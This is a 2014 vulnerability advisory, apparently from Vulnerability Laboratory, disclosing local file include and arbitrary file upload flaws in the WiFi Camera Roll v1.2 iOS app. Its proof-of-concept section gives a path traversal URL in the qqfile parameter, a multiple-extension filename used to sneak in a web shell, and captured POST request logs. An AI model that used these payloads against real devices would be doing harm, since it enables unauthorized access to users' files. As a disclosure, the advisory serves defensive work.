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Document Title:
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===============
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WiFi Camera Roll v1.2 iOS - Multiple Web Vulnerabilities
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References (Source):
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====================
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http://www.vulnerability-lab.com/get_content.php?id=1192
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Release Date:
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=============
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2014-02-08
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Vulnerability Laboratory ID (VL-ID):
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====================================
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1192
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Common Vulnerability Scoring System:
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====================================
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7.9
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Product & Service Introduction:
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===============================
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Download or upload photos/videos via WiFi! It is a easy way to wirelessly access your photos/videos in camera roll on devices.
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It only needs a web browser and not depends on any other transfer utilities. Just start the app and input the address into the
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address bar of your browser, you can browser the photos/videos in camera roll on your device. What`s more, you can upload
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photos/videos and it will help you save them into camera roll automatically.
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- You can browser the photos in camera roll on device
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- Download photos in full-size with EXIF metadata
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- Upload the specified format images into camera roll
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- Optional password protection for the web interface
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- One app compatible for both iPhone and iPad
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- Support major browsers e.g. Safari, Chrome, IE, etc.
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- A web browser is enough and not depends on flash, java, etc.
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- [NEW] Download unmodified HD quality video
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- [NEW] Upload specified format videos directly into your camera roll
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- [NEW] View photo gallery in web browser
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I`m always keeping this app concise and easy to use. It is just a bridge to connect your iPhone/iPad and computer. All photos and
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videos are saved in your system album and your computer. So it is safe and won`t lost even if you accidentally delete this app.
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(Copy of the Homepage: https://itunes.apple.com/ch/app/wifi-camera-roll/id576954110 )
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Abstract Advisory Information:
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==============================
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The Vulnerability Laboratory Research Team discovered multiple web vulnerabilities in the official WiFi Camera Roll v1.2 iOS mobile web-application.
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Vulnerability Disclosure Timeline:
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==================================
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2014-02-08: Public Disclosure (Vulnerability Laboratory)
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Discovery Status:
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=================
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Published
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Affected Product(s):
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====================
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Apple AppStore
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Product: WiFi Camera Roll (iOS) - Application 1.2
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Exploitation Technique:
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=======================
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Remote
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Severity Level:
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===============
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High
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Technical Details & Description:
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================================
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1.1
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A local file/path include web vulnerability has been discovered in the official WiFi Camera Roll v1.2 iOS mobile web-application.
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The local file include web vulnerability allows remote attackers to unauthorized include local file/path requests or system
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specific path commands to compromise the web-application or mobile device.
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The local file include web vulnerability is located in the vulnerable `qqfile` name value of the `upload files` module (web-interface).
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Remote attackers are able to inject own files with malicious filename to compromise the mobile application. The attack vector is
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persistent and the request method is POST. The local file/path include execute occcurs in the main file index section after the refresh
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of the file upload. The security risk of the local file include web vulnerability is estimated as high(+) with a cvss (common vulnerability
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scoring system) count of 7.8(+)|(-)7.9.
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Exploitation of the local file include web vulnerability requires no user interaction or privileged web-application user account with password.
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Successful exploitation of the local web vulnerability results in mobile application or connected device component compromise by unauthorized
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local file include web attacks.
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Request Method(s):
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[+] [POST]
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Vulnerable Input(s):
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[+] Upload Files
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Vulnerable Parameter(s):
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[+] filename > qqfile
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Affected Module(s):
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[+] Access from Computer (File Dir Index List - Folder/Category to path=/)
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1.2
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An arbitrary file upload web vulnerability has been discovered in the official WiFi Camera Roll v1.2 iOS mobile web-application.
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The arbitrary file upload issue allows remote attackers to upload files with multiple extensions to bypass the web-server or system validation.
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The vulnerability is located in the `upload file` (video and images) module. Remote attackers are able to upload a php or js web-shells by renaming
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the file with multiple extensions to bypass the file restriction mechanism. The attacker uploads for example a web-shell with the following name
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and extension `image.gif.jpg.html.js.aspx.jpg`. After the upload the attacker needs to open the file in the web application. He deletes the .jpg &
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.gif file extension and can access the application with elevated access rights. The security risk of the arbitrary file upload web vulnerability is
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estimated as high with a cvss (common vulnerability scoring system) count of 6.4(+)|(-)6.5.
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Exploitation of the arbitrary file upload web vulnerability requires no user interaction or privilege application user account with password.
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Successful exploitation of the vulnerability results in unauthorized file access because of a compromise after the upload of web-shells.
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Request Method(s):
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[+] [POST]
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Vulnerable Module(s):
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[+] Upload (GUI)
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Vulnerable Parameter(s):
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[+] filename > qqfile (multiple extensions)
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Affected Module(s):
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[+] File Dir Upload Ajax (http://localhost:8880/upload.ajax?qqfile=)
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Proof of Concept (PoC):
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=======================
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The arbitrary file upload and local file include web vulnerability can be exploited by remote attackers without user interaction or privileged web user account.
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For security demonstration or to reproduce the remote vulnerabilities follow the provided information and steps below.
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1.1
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PoC: File Include Vulnerability
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http://localhost:8880/upload.ajax?qqfile=%20../\../\[LOCAL FILE/PATH INCLUDE VULNERABILITY!].jpg
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1.2
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PoC: Arbitrary File Upload
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http://localhost:8880/upload.ajax?qqfile=5d476cebd60705.gif.jpg.html.js.aspx.jpg
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--- PoC 1.1 Session Logs [POST] ---
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Status: pending[]
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POST http://localhost:8880/upload.ajax?qqfile=[LOCAL FILE/PATH INCLUDE VULNERABILITY!].jpg Load Flags[LOAD_BYPASS_CACHE ] Gr<47><72>e des Inhalts[unknown] Mime Type[unknown]
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Request Header:
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Host[localhost:8880]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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X-Requested-With[XMLHttpRequest]
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X-File-Name[8f11a581d505d476cebd607056e4c167621c2e61.jpg]
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Cache-Control[no-cache]
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Content-Type[application/octet-stream]
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X-Mime-Type[image/jpeg]
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Referer[http://localhost:8880/upload.html]
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Content-Length[24386]
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POST-Daten:
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POST_DATA[<5B><><EFBFBD><EFBFBD>
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--- PoC 1.2 Session Logs [POST] ---
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Status: pending[]
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POST http://localhost:8880/upload.ajax?qqfile=5d476cebd60705.gif.jpg.html.js.aspx.jpg Load Flags[LOAD_BYPASS_CACHE ] Gr<47><72>e des Inhalts[unknown] Mime Type[unknown]
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Request Header:
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Host[localhost:8880]
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User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0]
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Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
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Accept-Language[de-de,de;q=0.8,en-us;q=0.5,en;q=0.3]
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Accept-Encoding[gzip, deflate]
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X-Requested-With[XMLHttpRequest]
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X-File-Name[8f11a581d505d476cebd607056e4c167621c2e61.jpg]
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Cache-Control[no-cache]
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Content-Type[application/octet-stream]
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X-Mime-Type[image/jpeg]
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Referer[http://localhost:8880/upload.html]
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Content-Length[24386]
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POST-Daten:
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POST_DATA[<5B><><EFBFBD><EFBFBD>
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Reference(s):
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http://localhost:8880/
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http://localhost:8880/upload.html
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http://localhost:8880/upload.ajax?qqfile=
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Solution - Fix & Patch:
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=======================
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1.1
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The local file include vulnerability can be patched by a secure parse and encode of the vulnerable filename and qqfile values in the affected upload POST method request.
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1.2
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The arbitrary file upload vulnerability can be parsed by restriction and secure filter validation mechanism to prevent uploads of data with multiple file extensions.
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Security Risk:
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==============
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1.1
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The security risk fo the local file include web vulnerability in the qqfile and filename values are estimated as high.
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1.2
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The security risk of the arbitrary file upload web vulnerability is estimated as high.
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Credits & Authors:
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==================
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Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@evolution-sec.com) [www.vulnerability-lab.com]
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Disclaimer & Information:
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=========================
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The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
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either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
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Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business
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profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some
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states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases
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or trade with fraud/stolen material.
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Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
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Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
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Copyright <20> 2014 | Vulnerability Laboratory [Evolution Security]
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--
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VULNERABILITY LABORATORY RESEARCH TEAM
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DOMAIN: www.vulnerability-lab.com
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CONTACT: research@vulnerability-lab.com |